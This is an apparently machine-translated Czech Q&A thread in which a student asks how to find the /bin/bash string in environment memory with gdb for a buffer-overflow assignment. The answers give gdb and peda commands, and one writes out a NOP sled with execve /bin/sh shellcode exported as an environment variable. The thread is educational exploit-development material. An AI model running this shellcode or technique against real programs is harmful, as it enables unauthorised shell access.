it-swarm-eu.dev

Nalezení proměnných prostředí pomocí gdb pro využití přetečení vyrovnávací paměti

Pro přiřazení musím využít velmi jednoduchý přetečení vyrovnávací paměti v zranitelném programu C++ a nejsem schopen najít proměnnou prostředí Shell.

Nikdy jsem s BoF nepracoval a po přečtení spousty podobných otázek, příspěvků atd. Mám tyto informace (opravte mě, pokud je špatně):

  • Program ukládá proměnné prostředí do globální proměnné nazvané environ
  • Adresu této proměnné najdu takto:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Musím najít /bin/bash Řetězec v této proměnné pro spuštění Shell (už mám systémovou a výstupní adresu, potřebuji pouze cestu do Shell). A tady nevím, co mám dělat. Četl jsem gdb návody, ale stále nic. x/s 0xb7fd1b00 nevydává nic užitečného.

12
Palantir

environ je ukazatel na ukazatel, protože má typ char **environ.

Musíte vyzkoušet něco jako:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Proměnné prostředí jsou 16 bajtů od základního ukazatele (% ebp).
  • Umístěte bod zlomu do hlavní funkce a udělejte to,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Viz tento blog

4
h1dd3ntru7h

pokud máte pro gdb nainstalovanou peda , můžete to jednoduše napsat do gdb:

gdb-peda$ searchmem Shell

Výstup by se ukázal

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Pokud máte peda nainstalovanou pro gdb, můžete také použít pouze „refsearch název_ proměnné“.

příklad:

Nejprve byste do prostředí měli přidat proměnnou (něco jako Shellcode).

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Poté otevřete gdb s ukázkovým programem, break main a run.

Když se program zastaví na bodu přerušení, můžete hledat adresu prostředí následujícím příkazem.

refsearch Shellcode

0
user147694